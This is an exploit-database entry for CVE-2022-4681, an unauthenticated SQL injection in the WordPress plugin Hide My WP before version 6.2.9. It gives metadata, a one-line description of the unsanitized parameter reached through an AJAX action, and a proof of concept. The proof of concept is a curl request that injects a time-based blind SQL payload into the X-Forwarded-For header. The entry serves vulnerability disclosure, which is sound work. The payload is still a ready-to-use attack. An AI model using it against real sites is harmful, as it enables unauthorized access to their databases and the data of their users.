Hide My WP < 6.2.9 - Unauthenticated SQLi

Author: Xenofon Vassilakopoulos
type: webapps
platform: php
port: nan
date_added: 2024-03-10 
date_updated: 2024-03-10 
verified: 0 
codes: CVE-2022-4681 
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: Wordpress Plugin Hide My WP < 6.2.9 - Unauthenticated SQLi
# Publication Date: 2023-01-11
# Original Researcher: Xenofon Vassilakopoulos
# Exploit Author: Xenofon Vassilakopoulos
# Submitter: Xenofon Vassilakopoulos
# Vendor Homepage: https://wpwave.com/
# Version: Hide My WP v6.2.8 and prior
# Tested on: Hide My WP v6.2.7
# Impact: Database Access
# CVE: CVE-2022-4681
# CWE: CWE-89
# CVSS Score: 8.6 (high)

## Description

The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.


## Proof of Concept

curl -k --location --request GET "http://localhost:10008" --header "X-Forwarded-For: 127.0.0.1'+(select*from(select(sleep(20)))a)+'"